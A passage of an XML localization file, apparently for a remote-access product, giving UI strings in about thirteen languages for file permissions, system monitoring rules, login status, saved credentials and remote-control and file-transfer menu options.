<fr>Exécute (X)</fr>
<it>Esecuzione (Z)</it>
<ru>Выполнять (X)</ru>
<ja>実行 (X)</ja>
<zh>执行 (X)</zh>
<ko>실행(X)</ko>
<en-gb>Execute (X)</en-gb>
<hu>Végrehajtás (X)</hu>
<pt-br>Executar (X)</pt-br>
<nl>Uitvoeren (U)</nl>
</msg>
<msg name="D">
<en>Delete (D)</en>
<de>Löschen (D)</de>
<es>Eliminar (D)</es>
<fr>Efface (D)</fr>
<it>Elimina (E)</it>
<ru>Удалять (D)</ru>
<ja>削除 (D)</ja>
<zh>删除 (D)</zh>
<ko>삭제(D)</ko>
<en-gb>Delete (D)</en-gb>
<hu>Törlés (D)</hu>
<pt-br>(Excluir (D)</pt-br>
<nl>Verwijderen (V)</nl>
</msg>
<msg name="P">
<en>Change Permissions (P)</en>
<de>Berechtigungen ändern (P)</de>
<es>Cambiar permisos (P)</es>
<fr>Modifie Permissions (P)</fr>
<it>Cambia autorizzazioni (A)</it>
<ru>Изменять разрешения (P)</ru>
<ja>権限の変更 (P)</ja>
<zh>更改权限 (P)</zh>
<ko>권한 변경(P)</ko>
<en-gb>Change Permissions (P)</en-gb>
<hu>Engedélyek módosítása (P)</hu>
<pt-br>Alterar permissões (P)</pt-br>
<nl>Machtigingen wijzigen (C)</nl>
</msg>
<msg name="O">
<en>Take Ownership (O)</en>
<de>Besitz übernehmen (O)</de>
<es>Tomar posesión (O)</es>
<fr>Prise de Propriété (O)</fr>
<it>Diventa proprietario (P)</it>
<ru>Смена владельца (O)</ru>
<ja>所有権の取得 (O)</ja>
<zh>取得所有权 (O)</zh>
<ko>소유권 가지기(O)</ko>
<en-gb>Take Ownership (O)</en-gb>
<hu>Saját tulajdonba vétel (O)</hu>
<pt-br>Tomar posse (O)</pt-br>
<nl>Eigenaar worden (E)</nl>
</msg>
</cat>
<cat name="MODE">
<msg name="E">
<en>Effective</en>
<de>Effektiv</de>
<es>Efectivo</es>
<fr>Effectif</fr>
<it>Effettiva</it>
<ru>Эффективный</ru>
<ja>実効</ja>
<zh>有效</zh>
<ko>유효</ko>
<en-gb>Effective</en-gb>
<hu>Hatályos</hu>
<pt-br>Efetivar</pt-br>
<nl>Effectief</nl>
</msg>
<msg name="I">
<en>Inherit</en>
<de>Vererbt</de>
<es>Heredar</es>
<fr>Hérité</fr>
<it>Ereditata</it>
<ru>Наследуемый</ru>
<ja>継承</ja>
<zh>继承</zh>
<ko>상속</ko>
<en-gb>Inherit</en-gb>
<hu>Örökít</hu>
<pt-br>Herdar</pt-br>
<nl>Overnemen</nl>
</msg>
<msg name="IE">
<en>Inherit and Effective</en>
<de>Vererbt und Effektiv</de>
<es>Heredar y Efectivo</es>
<fr>Hérité et Effectif</fr>
<it>Ereditata ed effettiva</it>
<ru>Наследуемый и эффективный</ru>
<ja>継承および実効</ja>
<zh>继承并有效</zh>
<ko>상속 및 유효</ko>
<en-gb>Inherit and Effective</en-gb>
<hu>Örökít és hatályos</hu>
<pt-br>Herdar e efetivar</pt-br>
<nl>Overnemen en effectief</nl>
</msg>
</cat>
</cat>
<!-- system monitoring -->
<cat name="MONITORING">
<msg name="TITLE">
<en>System Monitoring</en>
<de>Systemüberwachung</de>
<es>Control del sistema</es>
<fr>Monitorage système</fr>
<it>Monitoraggio sistema</it>
<ru>Служба системного наблюдения</ru>
<ja>システム モニタリング</ja>
<zh>系统监视</zh>
<ko>시스템 모니터링</ko>
<en-gb>System Monitoring</en-gb>
<hu>Rendszerfigyelés</hu>
<pt-br>Monitoramento do sistema</pt-br>
<nl>Systeemcontrole</nl>
</msg>
<msg name="NORULES">
<en>There are no rules defined.</en>
<de>Derzeit sind keine Regeln definiert.</de>
<es>No se han definido normas.</es>
<fr>Il n'y apas de règles définies</fr>
<it>Nessuna regola definita.</it>
<ru>Правила не определены.</ru>
<ja>定義済みのルールはありません。</ja>
<zh>没有定义的规则。</zh>
<ko>규칙을 정의하지 않았습니다.</ko>
<en-gb>No rules have been defined.</en-gb>
<hu>Nincsenek szabályok meghatározva.</hu>
<pt-br>Não há regras definidas.</pt-br>
<nl>Er zijn geen regels opgegeven.</nl>
</msg>
<msg name="WARN.ABOUT.SAMPLES">
<en>The sample monitoring rules provided with %PRODUCTNAME have not been designed to work on a specific system.
They are generic in nature and require modifications before use. To edit the samples or to create your own
rules from scratch please click the "Edit rules" button.</en>
<de>Anmerkung: Die Beispiel-Überwachungsregeln in %PRODUCTNAME wurden nicht für spezielle Systeme entwickelt.
Sie sind sehr allgemein und sollten entsprechend modifiziert werden. Um ein Beispiel zu bearbeiten oder eine komplett neues zu erstellen, klicken Sie auf die Schaltfläche "Bearbeiten".</de>
<es>Las normas de control de muestra de %PRODUCTNAME no han sido diseñadas para trabajar en un sistema específico.
Son genéricos por naturaleza y requieren modificaciones antes de ser utilizadas. Para editar las muestras o crear sus propias
normas a partir del scratch, haga clic en el botón "Editar norma".</es>
<fr>Les exemples de monitorage fournis par %PRODUCTNAME ne sont pas conçus pour travailler sur un système spécifique. 
Il est nécessaire de les adapter avant emploi. Pour éditer les exemples ou créer vos propres règles à
partir de zéro, cliquez sur le bouton "Editer les règles".</fr>
<it>Le regole di controllo di esempio fornite con %PRODUCTNAME non sono state progettate per funzionare in un sistema specifico.
Sono di tipo generico e devono essere modificate prima dell'uso. Per modificare una regola di esempio o creare regole personalizzate completamente nuove, fare clic sul pulsante "Modifica regole".</it>
<ru>Примеры правил мониторинга, предоставленные вместе с %PRODUCTNAME, не предназначены для использования в какой-то конкретной системе.
Они являются общими по природе и требуют некоторых изменений перед использованием. Чтобы изменить примеры правил или создать собственные правила с нуля, нажмите кнопку "Изменить правила".</ru>
<ja>%PRODUCTNAME で提供されるサンプル モニタリングは、特定のシステムで動作するように設計されていません。本質的に汎用であるため、使用前には修正が必要です。サンプルを編集する、または最初からルールを作成するには、[ルールの編集] ボタンをクリックしてください。</ja>
<zh>随 %PRODUCTNAME 一起提供的样例监视规则尚未设计用于特定系统。
它们本质上属于普通规则,并且在使用前需要修改。要编辑样例或从头创建自己的规则,请单击“编辑规则”按钮。</zh>
<ko>%PRODUCTNAME와(과) 함께 제공된 샘플 모니터링 규칙은 특정 시스템에서 작동하도록 설계되지 않았습니다. 실제로 샘플 스크립트는 일반적인 것이므로, 사용하기 전에 수정이 필요합니다. 샘플을 편집하거나 처음부터 고유한 규칙을 만들려면 "규칙 편집" 버튼을 클릭하십시오.</ko>
<en-gb>The sample monitoring rules provided with %PRODUCTNAME have not been designed to work on a specific system.
They are generic in nature and require modifications before use. To edit the samples or to create your own rules from scratch please click the "Edit rules" button.</en-gb>
<hu>A %PRODUCTNAME-el együtt érkező minta figyelési szabályok nem egy adott rendszeren való működésre készültek.
Ezek általános természetűek, és használat előtt módosítani kell azokat. A minták szerkesztéséhez, vagy a saját szabályok
létrehozásához kérem, kattintson a "Szabályok szerkesztése" gombra</hu>
<pt-br>As regras de monitoramento de amostra fornecidas com o %PRODUCTNAME não foram criadas para funcionar em um sistema específico.
Elas são genéricas por natureza e requerem modificações antes do uso. Para editar as amostras ou criar as suas próprias
regras desde o início, clique no botão "Editar regras".</pt-br>
<nl>De voorbeeldcontroleregels die met %PRODUCTNAME zijn geleverd, zijn niet ontworpen om op een specifiek systeem te worden gebruikt.  Dit zijn algemene controleregels en deze moeten worden aangepast als u ze wilt gebruiken. Als u de voorbeelden wilt bewerken of volledig nieuwe eigen regels wilt maken, klikt u op de knop "Regels bewerken".</nl>
</msg>
<msg name="NOTE.ITRALERTS">
<en>To use the alert wizard to customize and deploy alerts to all your computers please go to
your "My Computers" page and select "Alert Management".  Scripts or alerts set up here will only run on this 
computer.</en>
<es>Para utilizar el asistente de avisos de IT Reach para personalizar e implementar avisos a todos los ordenadores de IT Reach vaya a
la página "Mis ordenadores" y seleccione "Gestión de alertas".  Los scripts o alertas configuradas aquí sólo se ejecutarán en este 
ordenador.</es>
<de>Um mit dem Benachrichtigungs-Assistenten von IT Reach die Benachrichtigungen für alle IT Reach-Computer anzupassen und einzurichten, wählen Sie auf der Seite "Meine Computer" die Option für die Benachrichtigungsverwaltung.  Hier eingerichtete Skripts oder Benachrichtigungen werden nur auf diesem Computer ausgeführt.</de>
<it>Per utilizzare la procedura guidata Avvisi IT Reach per personalizzare e installare gli avvisi su tutti i computer IT Reach, passare alla pagina "I Miei Computer" e selezionare "Gestione avvisi". Gli script o gli avvisi impostati qui verranno eseguiti solo su questo computer.</it>
<ru>Чтобы воспользоваться мастером оповещений IT Reach для настройки и распространить оповещения на все компьютеры IT Reach, прейдите на страницу "Мои компьютеры" и выберите "Управление оповещениями".  Настроенные здесь сценарии или оповещения будут запускаться только на данном компьютере.</ru>
<ja>IT Reach アラート ウィザードを使用して、すべての IT Reach コンピュータに対してアラートをカスタマイズし展開するには、[マイ コンピュータ] ページに進んで [アラートの管理] を選択します。ここで設定するスクリプトまたはアラートは、このコンピュータでのみ実行されます。</ja>
<zh>要使用 IT Reach 警报向导为所有 IT Reach 计算机自定义和部署警报,请转到“我的计算机”页面并选择“警报管理”。此处设置的脚本或警报将仅在此计算机上运行。</zh>
<ko>IT Reach 경고 마법사를 사용하여 경고를 사용자 정의하고 모든 IT Reach 컴퓨터에 배치하려면 "내 컴퓨터" 페이지로 이동한 후 "경고 관리"를 선택하십시오.  여기서 설정된 스크립트 또는 경고는 이 컴퓨터에서만 실행됩니다.</ko>
<en-gb>To use the alert wizard to customize and deploy alerts to all your computers please go to your "My Computers" page and select "Alert Management".  Scripts or alerts set up here will only run on this computer.</en-gb>
<hu>Az IT Reach riasztás-varázsló használatához, a riasztások testreszabásához és alkalmazásához minden IT Reach számítógépen, lépjen
az Ön "Sajátgép" oldalára, és válassza a "Riasztáskezelést".  Az itt beállított parancsfájlok vagy riasztások csak ezen a  
számítógépen fognak futni.</hu>
<pt-br>Para usar o assistente de alerta do IT Reach na personalização e na implementação de alertas em todos os seus computadores IT Reach, vá para
a página "Meus computadores" e selecione "Gerenciamento de alerta".  Os scripts ou alertas configurados aqui só serão executados neste 
computador.</pt-br>
<nl>Als u de waarschuwingswizard van IT Reach wilt gebruiken om waarschuwingen aan te passen en deze op al uw IT Reach-computers te implementeren, gaat u naar uw pagina "Mijn computers" en kiest u de optie "Waarschuwingsbeheer".  De scripts of waarschuwingen die hier zijn geconfigureerd, worden alleen op deze computer uitgevoerd en weergegeven.</nl>
</msg>
<msg name="ACTIVE">
<en>Active</en>
<de>Aktiv</de>
<es>Activo</es>
<fr>Actif</fr>
<it>Attivo</it>
<ru>Активный</ru>
<ja>アクティブ</ja>
<zh>激活</zh>
<ko>사용 중</ko>
<en-gb>Active</en-gb>
<hu>Aktív</hu>
<pt-br>Ativo</pt-br>
<nl>Geactiveerd</nl>
</msg>
<msg name="RULENAME">
<en>Rule</en>
<de>Regel</de>
<es>Norma</es>
<fr>Règle</fr>
<it>Regola</it>
<ru>Правило</ru>
<ja>ルール</ja>
<zh>规则</zh>
<ko>규칙</ko>
<en-gb>Rule</en-gb>
<hu>Szabály</hu>
<pt-br>Regra</pt-br>
<nl>Regel</nl>
</msg>
<msg name="EDIT">
<en>Edit rules</en>
<de>Regeln bearbeiten</de>
<es>Editar norma</es>
<fr>Editer les règles</fr>
<it>Modifica regole</it>
<ru>Изменить правила</ru>
<ja>ルールを編集</ja>
<zh>编辑规则</zh>
<ko>규칙 편집</ko>
<en-gb>Edit rules</en-gb>
<hu>Szabályok szerkesztése</hu>
<pt-br>Editar regras</pt-br>
<nl>Regels bewerken</nl>
</msg>
<msg name="COMPILEERROR">
<en>Failed to compile.</en>
<de>Kompilierung nicht möglich.</de>
<es>Error al compilar.</es>
<fr>Echec de compilation</fr>
<it>Compilazione non riuscita.</it>
<ru>Не удалось скомпилировать.</ru>
<ja>コンパイルに失敗しました。</ja>
<zh>编译失败。</zh>
<ko>컴파일하지 못했습니다.</ko>
<en-gb>Failed to compile.</en-gb>
<hu>Nem sikerült lefordítani.</hu>
<pt-br>Falha ao compilar.</pt-br>
<nl>Compileren is mislukt.</nl>
</msg>
<msg name="EDITTITLE">
<en>System Monitoring script</en>
<de>Systemüberwachungsskript</de>
<es>Script de Control del sistema</es>
<fr>Monitarage système script</fr>
<it>Script Monitoraggio sistema</it>
<ru>Сценарий системного наблюдения</ru>
<ja>システム モニタリング スクリプト</ja>
<zh>系统监视脚本</zh>
<ko>시스템 모니터링 스크립트</ko>
<en-gb>System Monitoring script</en-gb>
<hu>Rendszerfigyelés parancsfájl</hu>
<pt-br>Script de monitoramento do sistema</pt-br>
<nl>Script voor systeemcontrole</nl>
</msg>
<msg name="COMPILE">
<en>Compile</en>
<de>Kompilieren</de>
<es>Compilar</es>
<fr>Compile</fr>
<it>Compila</it>
<ru>Скомпилировать</ru>
<ja>コンパイル</ja>
<zh>编译</zh>
<ko>컴파일</ko>
<en-gb>Compile</en-gb>
<hu>Fordítás</hu>
<pt-br>Compilar</pt-br>
<nl>Compileren</nl>
</msg>
<msg name="COMPILEOUTPUT">
<en>Compiler output</en>
<de>Compiler-Ausgabe</de>
<es>Resultado del compilador</es>
<fr>Sortie de compilateur</fr>
<it>Output del compilatore</it>
<ru>Сообщения компилятора</ru>
<ja>コンパイラ出力</ja>
<zh>编译器输出</zh>
<ko>컴파일러 출력</ko>
<en-gb>Compiler output</en-gb>
<hu>Fordító kimenete</hu>
<pt-br>Saída do compilador</pt-br>
<nl>Uitvoer van compiler</nl>
</msg>
<msg name="SAVEFAIL">
<en>Failed to save "MonitoringScript.txt":</en>
<de>"MonitoringScript.txt" konnte nicht gespeichert werden:</de>
<es>Error al guardar "MonitoringScript.txt":</es>
<fr>Echec de sauvegarde de "MonitoringScript.txt":</fr>
<it>Salvataggio di "MonitoringScript.txt" non riuscito:</it>
<ru>Не удалось сохранить "MonitoringScript.txt":</ru>
<ja>"MonitoringScript.txt" の保存に失敗しました :</ja>
<zh>无法保存“MonitoringScript.txt”:</zh>
<ko>"MonitoringScript.txt" 저장 실패:</ko>
<en-gb>Failed to save "MonitoringScript.txt":</en-gb>
<hu>Nem sikerült menteni a "MonitoringScript.txt" fájlt:</hu>
<pt-br>Falha ao salvar "MonitoringScript.txt":</pt-br>
<nl>Opslaan van "MonitoringScript.txt" is mislukt:</nl>
</msg>
</cat>
<cat name="SECREM">
<msg name="CONNECTED">
<en>Connected to</en>
<de>Verbunden mit</de>
<ja>接続しました -</ja>
<es>Está conectado remotamente a</es>
<fr>Vous êtes à présent connecté(e)s à distance au</fr>
<it>Si è ora connessi in remoto a</it>
<ru>Сейчас установлено удаленное подключение к</ru>
<zh>您现在已远程连接至</zh>
<ko>지금 연결됨</ko>
<en-gb>You are now remotely connected to</en-gb>
<hu>Ön most távkapcsolatban van ezzel</hu>
<pt-br>Agora você está conectado remotamente a</pt-br>
<nl>U bent nu op afstand verbonden met </nl>
</msg>
<msg name="VIAAUTOLOGIN">
<en>Logged in automatically as:</en>
<es>Ha iniciado sesión automáticamente como:</es>
<de>Automatisch angemeldet als:</de>
<fr>Connecté automatiquement sous :</fr>
<it>Accesso effettuato automaticamente con nome:</it>
<ru>Выполнен автоматический вход в систему в качестве:</ru>
<ja>次のユーザとして自動的にログイン:</ja>
<zh>自动登录为:</zh>
<ko>다음으로 자동 로그인됨:</ko>
<en-gb>Logged in automatically as:</en-gb>
<hu>Automatikusan bejelentkezve a következő néven:</hu>
<pt-br>Conectado automaticamente como:</pt-br>
<nl>Automatisch aangemeld als:</nl>
</msg>
<msg name="LOGINAS">
<en>Logged in as:</en>
<es>Ha iniciado sesión como:</es>
<de>Angemeldet als:</de>
<fr>Connecté sous :</fr>
<it>Accesso effettuato con nome:</it>
<ru>Выполнен вход в систему в качестве:</ru>
<ja>次のユーザとしてログイン:</ja>
<zh>登录为:</zh>
<ko>다음으로 로그인됨:</ko>
<en-gb>Logged in as:</en-gb>
<hu>Bejelentkezve a következő néven:</hu>
<pt-br>Conectado como:</pt-br>
<nl>Aangemeld als:</nl>
</msg>
<msg name="DELETESTOREDPWD">
<en>(Delete saved credentials)</en>
<es>(Borrar credenciales guardadas)</es>
<de>(Gespeicherte Zugangsdaten löschen)</de>
<fr>(Supprimer les identifiants)</fr>
<it>(Elimina credenziali salvate)</it>
<ru>(Удалить сохраненные учетные данные)</ru>
<ja>(保存済みの資格情報を削除する)</ja>
<zh>(删除保存的凭据)</zh>
<ko>(저장된 자격 증명 삭제)</ko>
<en-gb>(Delete saved credentials)</en-gb>
<hu>(Elmentett azonosító adatok törlése)</hu>
<pt-br>(Excluir credenciais salvas)</pt-br>
<nl>(Opgeslagen aanmeldingsgegevens wissen)</nl>
</msg>
<msg name="YOUAREAUTOLOGIN">
<en>You were automatically logged in as:</en>
<es>Inició sesión automáticamente como:</es>
<de>Sie wurden automatisch angemeldet als:</de>
<fr>Vous avez été connecté automatiquement sous :</fr>
<it>L'accesso è stato effettuato automaticamente con nome:</it>
<ru>Вы автоматически вошли в систему в качестве:</ru>
<ja>次のユーザとして自動的にログインしました:</ja>
<zh>您已自动登录为:</zh>
<ko>다음으로 자동 로그인했습니다.</ko>
<en-gb>You were automatically logged in as:</en-gb>
<hu>Ön a következő néven jelentkezett be automatikusan:</hu>
<pt-br>Você foi conectado automaticamente como:</pt-br>
<nl>U was automatisch aangemeld als:</nl>
</msg>
<msg name="CLEARLOGIN">
<en>Do you wish to clear this saved login?</en>
<es>¿Desea limpiar este inicio de sesión guardado?</es>
<de>Möchten Sie diese gespeicherten Zugangsdaten löschen?</de>
<fr>Voulez-vous effacer cette connexion enregistrée ?</fr>
<it>Eliminare questi dati di accesso salvati?</it>
<ru>Удалить эти сохраненные данные для входа?</ru>
<ja>この保存されたログイン データを消去しますか?</ja>
<zh>是否要清除此保存的登录信息?</zh>
<ko>저장된 로그인 데이터를 지우시겠습니까?</ko>
<en-gb>Do you wish to clear this saved login?</en-gb>
<hu>Kívánja törölni ezt a tárolt bejelentkezést?</hu>
<pt-br>Deseja excluir os dados salvos deste login?</pt-br>
<nl>Wilt u deze opgeslagen aanmeldingsgegevens wissen?</nl>
</msg>
<msg name="VIAAUTOLOGIN">
<en>Logged in automatically as:</en>
<es>Ha iniciado sesión automáticamente como:</es>
<de>Automatisch angemeldet als:</de>
<fr>Connecté automatiquement sous :</fr>
<it>Accesso effettuato automaticamente con nome:</it>
<ru>Выполнен автоматический вход в систему в качестве:</ru>
<ja>次のユーザとして自動的にログイン:</ja>
<zh>自动登录为:</zh>
<ko>다음으로 자동 로그인됨:</ko>
<en-gb>Logged in automatically as:</en-gb>
<hu>Automatikusan bejelentkezve a következő néven:</hu>
<pt-br>Conectado automaticamente como:</pt-br>
<nl>Automatisch aangemeld als:</nl>
</msg>
<msg name="LOGINAS">
<en>Logged in as:</en>
<es>Ha iniciado sesión como:</es>
<de>Angemeldet als:</de>
<fr>Connecté sous :</fr>
<it>Accesso effettuato con nome:</it>
<ru>Выполнен вход в систему в качестве:</ru>
<ja>次のユーザとしてログイン:</ja>
<zh>登录为:</zh>
<ko>다음으로 로그인됨:</ko>
<en-gb>Logged in as:</en-gb>
<hu>Bejelentkezve a következő néven:</hu>
<pt-br>Conectado como:</pt-br>
<nl>Aangemeld als:</nl>
</msg>
<msg name="DELETESTOREDPWD">
<en>(Delete stored password)</en>
<es>(Borrar credenciales guardadas)</es>
<de>(Gespeicherte Zugangsdaten löschen)</de>
<fr>(Supprimer les identifiants)</fr>
<it>(Elimina credenziali salvate)</it>
<ru>(Удалить сохраненные учетные данные)</ru>
<ja>(保存済みの資格情報を削除する)</ja>
<zh>(删除保存的凭据)</zh>
<ko>(저장된 자격 증명 삭제)</ko>
<en-gb>(Delete saved credentials)</en-gb>
<hu>(Elmentett azonosító adatok törlése)</hu>
<pt-br>(Excluir credenciais salvas)</pt-br>
<nl>(Opgeslagen aanmeldingsgegevens wissen)</nl>
</msg>
<msg name="YOUAREAUTOLOGIN">
<en>You were automatically logged in as:</en>
<es>Inició sesión automáticamente como:</es>
<de>Sie wurden automatisch angemeldet als:</de>
<fr>Vous avez été connecté automatiquement sous :</fr>
<it>L'accesso è stato effettuato automaticamente con nome:</it>
<ru>Вы автоматически вошли в систему в качестве:</ru>
<ja>次のユーザとして自動的にログインしました:</ja>
<zh>您已自动登录为:</zh>
<ko>다음으로 자동 로그인했습니다.</ko>
<en-gb>You were automatically logged in as:</en-gb>
<hu>Ön a következő néven jelentkezett be automatikusan:</hu>
<pt-br>Você foi conectado automaticamente como:</pt-br>
<nl>U was automatisch aangemeld als:</nl>
</msg>
<msg name="CLEARLOGIN">
<en>Do you wish to clear this saved login?</en>
<es>¿Desea limpiar este inicio de sesión guardado?</es>
<de>Möchten Sie diese gespeicherten Zugangsdaten löschen?</de>
<fr>Voulez-vous effacer cette connexion enregistrée ?</fr>
<it>Eliminare questi dati di accesso salvati?</it>
<ru>Удалить эти сохраненные данные для входа?</ru>
<ja>この保存されたログイン データを消去しますか?</ja>
<zh>是否要清除此保存的登录信息?</zh>
<ko>저장된 로그인 데이터를 지우시겠습니까?</ko>
<en-gb>Do you wish to clear this saved login?</en-gb>
<hu>Kívánja törölni ezt a tárolt bejelentkezést?</hu>
<pt-br>Deseja excluir os dados salvos deste login?</pt-br>
<nl>Wilt u deze opgeslagen aanmeldingsgegevens wissen?</nl>
</msg>
<cat name="SPLASH">
<msg name="SELECT">
<en>What would you like to do?</en>
<de>Was möchten Sie tun?</de>
<es>¿Qué desea hacer?</es>
<fr>Qu'aimeriez vous faire?</fr>
<it>Quale operazione si desidera eseguire?</it>
<ru>Выберите нужное действие.</ru>
<ja>何をしたいですか?</ja>
<zh>您要做什么?</zh>
<ko>원하는 작업을 선택하십시오.</ko>
<en-gb>What would you like to do?</en-gb>
<hu>Mit szeretne tenni?</hu>
<pt-br>O que gostaria de fazer?</pt-br>
<nl>Wat wilt u doen?</nl>
</msg>
<msg name="REMOTE">
<en>Remote Control your computer</en>
<de>Ihren Remote-Computer fernbedienen</de>
<es>Controlar remotamente su ordenador</es>
<fr>Accéder à distance à votre ordinateur</fr>
<it>Controllo remoto del computer</it>
<ru>Удаленное управление своим компьютером</ru>
<ja>コンピュータをリモート制御する</ja>
<zh>远程控制您的计算机</zh>
<ko>컴퓨터 원격 제어</ko>
<en-gb>Remote Control your computer</en-gb>
<hu>A számítógép távvezérlése</hu>
<pt-br>Controle remoto do seu computador</pt-br>
<nl>Besturing op afstand van uw computer</nl>
</msg>
<msg brand="LMI" name="REMOTE">
<en>View and control your remote computer's desktop</en>
<de>Ihren Remote-Computer fernbedienen</de>
<es>Controlar remotamente su ordenador</es>
<fr>Accéder à distance à votre ordinateur</fr>
<it>Controllo remoto del computer</it>
<ru>Удаленное управление своим компьютером</ru>
<ja>コンピュータをリモート制御する</ja>
<zh>远程控制您的计算机</zh>
<ko>컴퓨터 원격 제어</ko>
<en-gb>Remote Control your computer</en-gb>
<hu>A számítógép távvezérlése</hu>
<pt-br>Controle remoto do seu computador</pt-br>
<nl>Besturing op afstand van uw computer</nl>
</msg>
<msg name="REMOTE.LMIPRO">
<en>View and control your remote computer's desktop</en>
<de>Den Desktop ihres Remote-Computers anzeigen und steuern</de>
<es>Ver y controlar el escritorio de su ordenador remoto</es>
<fr>Voir et piloter l'entier de votre bureau de votre ordinateur distant</fr>
<it>Visualizza e controlla il desktop del computer remoto</it>
<ru>Просматривать и управлять рабочим столом своего компьютера</ru>
<ja>リモート コンピュータのデスクトップを表示し制御する</ja>
<zh>查看和控制远程计算机的桌面</zh>
<ko>원격 컴퓨터의 데스크톱 보기 및 제어</ko>
<en-gb>View and control your remote computer's desktop</en-gb>
<hu>A távoli számítógép asztalának megtekintése és vezérlése</hu>
<pt-br>Exibir e controlar o desktop do computador remoto</pt-br>
<nl>Het bureaublad van uw externe computer weergeven en bedienen</nl>
</msg>
<msg name="FILEXFER">
<en>Transfer files between your local machine and the remote computer</en>
<de>Daten zwischen Ihrem lokalen Computer und dem Remote-Computer übertragen</de>
<es>Transferir archivos entre su ordenador local y el remoto</es>
<fr>Transférer des fichiers entre votre ordinateur local et l'ordinateur distant</fr>
<it>Trasferisci file tra il computer locale e il computer remoto</it>
<ru>Передача файлов между локальным и удаленным компьютерами</ru>
<ja>ローカル マシンとリモート コンピュータの間でファイルを転送する</ja>
<zh>在本地计算机和远程计算机之间传输文件</zh>
<ko>로컬 컴퓨터와 원격 컴퓨터 간 파일 전송</ko>
<en-gb>Transfer files between your local machine and the remote computer</en-gb>
<hu>Fájlátvitel a helyi gép és a távoli gép között</hu>
<pt-br>Transferir arquivos entre a máquina local e o computador remoto</pt-br>
<nl>Bestanden overdragen tussen uw lokale computer en de externe computer</nl>
</msg>
<msg brand="LMI" name="FILEXFER">
<en>Transfer or synchronize data between your remote and local computers</en>
<de>Daten zwischen Ihrem lokalen Computer und dem Remote-Computer übertragen</de>
<es>Transferir archivos entre su ordenador local y el remoto</es>
<fr>Transférer des fichiers entre votre ordinateur local et l'ordinateur distant</fr>
<it>Trasferisci file tra il computer locale e il computer remoto</it>
<ru>Передача файлов между локальным и удаленным компьютерами</ru>
<ja>ローカル マシンとリモート コンピュータの間でファイルを転送する</ja>
<zh>在本地计算机和远程计算机之间传输文件</zh>
<ko>로컬 컴퓨터와 원격 컴퓨터 간 파일 전송</ko>
<en-gb>Transfer files between your local machine and the remote computer</en-gb>
<hu>Fájlátvitel a helyi gép és a távoli gép között</hu>
<pt-br>Transferir arquivos entre a máquina local e o computador remoto</pt-br>
<nl>Bestanden overdragen tussen uw lokale computer en de externe computer</nl>
</msg>
<msg name="FILEXFER.LMIPRO">
<en>Transfer files between your remote and local computers</en>
<de>Daten zwischen Ihrem lokalen Computer und dem Remote-Computer übertragen</de>
<es>Transferir archivos entre el ordenador remoto y el local</es>
<fr>Transférer des fichiers entre vos ordinateurs locaux et distants</fr>
<it>Trasferisci file tra i computer remoto e locale</it>
<ru>Передача файлов между удаленным и локальным компьютерами</ru>
<ja>リモート コンピュータとローカル コンピュータの間でファイルを転送する</ja>
<zh>在远程计算机和本地计算机之间传输文件</zh>
<ko>원격 컴퓨터와 로컬 컴퓨터 간 파일 전송</ko>
<en-gb>Transfer files between your remote and local computers</en-gb>
<hu>Fájlátvitel a távoli és a helyi gép között</hu>
<pt-br>Transferir arquivos entre os computadores remoto e local</pt-br>
<nl>Bestanden overdragen tussen uw externe en lokale computers</nl>
</msg>
<msg name="REBOOT">
<en>View options to restart %PRODUCTNAME or reboot your remote computer</en>
<de>Optionen für den Neustart von %PRODUCTNAME oder für den Neustart des Remote-Computers anzeigen</de>
<es>Ver opciones para reiniciar %PRODUCTNAME o reiniciar su ordenador remoto</es>
<fr>Regardez les options pour redémarrer %PRODUCTNAME ou redémarrer votre ordinateur distant</fr>
<it>Visualizza opzioni per riavviare %PRODUCTNAME o riavvia il computer remoto</it>
<ru>Просмотреть варианты перезапуска %PRODUCTNAME или перезагрузить удаленный компьютер</ru>
<ja>%PRODUCTNAME を再起動するかリモート コンピュータをリブートするオプションを表示する</ja>
<zh>查看选项以重新启动 %PRODUCTNAME 或重新引导远程计算机</zh>
<ko>%PRODUCTNAME 다시 시작 또는 원격 컴퓨터 재부팅 옵션 보기</ko>
<en-gb>View options to restart %PRODUCTNAME or reboot your remote computer</en-gb>
<hu>Tekintse meg a beállításokat a %PRODUCTNAME újraindításához, vagy a távoli számítógép újraindításához</hu>
<pt-br>Exibir opções para reiniciar o %PRODUCTNAME ou reinicializar o computador remoto</pt-br>
<nl>De opties voor het opnieuw starten van %PRODUCTNAME of het opnieuw opstarten van uw externe computer weergeven</nl>
</msg>
<msg name="ACCOUNTDESC">
<en>Your %PRODUCTNAME </en>
<de>Ihr %PRODUCTNAME</de>
<es>Su %PRODUCTNAME</es>
<fr>Votre %PRODUCTNAME</fr>
<it>Copia di %PRODUCTNAME in uso</it>
<ru>%PRODUCTNAME</ru>
<ja>所有する %PRODUCTNAME</ja>
<zh>您的 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME</ko>
<en-gb>Your %PRODUCTNAME</en-gb>
<hu>Az Ön %PRODUCTNAME terméke</hu>
<pt-br>Seu %PRODUCTNAME</pt-br>
<nl>Uw %PRODUCTNAME</nl>
</msg>
<msg name="SRINFO">
<en>See an overview of the remote computer's details</en>
<de>Übersicht über den Remote-Computers anzeigen</de>
<es>Lea una descripción de los detalles del ordenador remoto</es>
<fr>Voir une vue générale des détails de votre ordinateur distant</fr>
<it>Visualizza una panoramica dei dettagli del computer remoto</it>
<ru>Просмотреть обзор сведений об удаленном компьютере</ru>
<ja>リモート コンピュータの詳細の概要を表示する</ja>
<zh>查看远程计算机详情概述</zh>
<ko>원격 컴퓨터의 세부사항 개요 보기</ko>
<en-gb>See an overview of the remote computer's details</en-gb>
<hu>A távoli számítógép adatainak áttekintése</hu>
<pt-br>Ter uma visão geral dos detalhes do computador remoto</pt-br>
<nl>Een overzicht van de detailgegevens van de externe computer weergeven</nl>
</msg>
<msg brand="LMI" name="SRINFO">
<en>Get a history of your remote login sessions or check your remote PC's status</en>
<de>Übersicht über den Remote-Computers anzeigen</de>
<es>Lea una descripción de los detalles del ordenador remoto</es>
<fr>Voir une vue générale des détails de votre ordinateur distant</fr>
<it>Visualizza una panoramica dei dettagli del computer remoto</it>
<ru>Просмотреть обзор сведений об удаленном компьютере</ru>
<ja>リモート コンピュータの詳細の概要を表示する</ja>
<zh>查看远程计算机详情概述</zh>
<ko>원격 컴퓨터의 세부사항 개요 보기</ko>
<en-gb>See an overview of the remote computer's details</en-gb>
<hu>A távoli számítógép adatainak áttekintése</hu>
<pt-br>Ter uma visão geral dos detalhes do computador remoto</pt-br>
<nl>Een overzicht van de detailgegevens van de externe computer weergeven</nl>
</msg>
<msg brand="LMI" os="macosx" name="SRINFO">
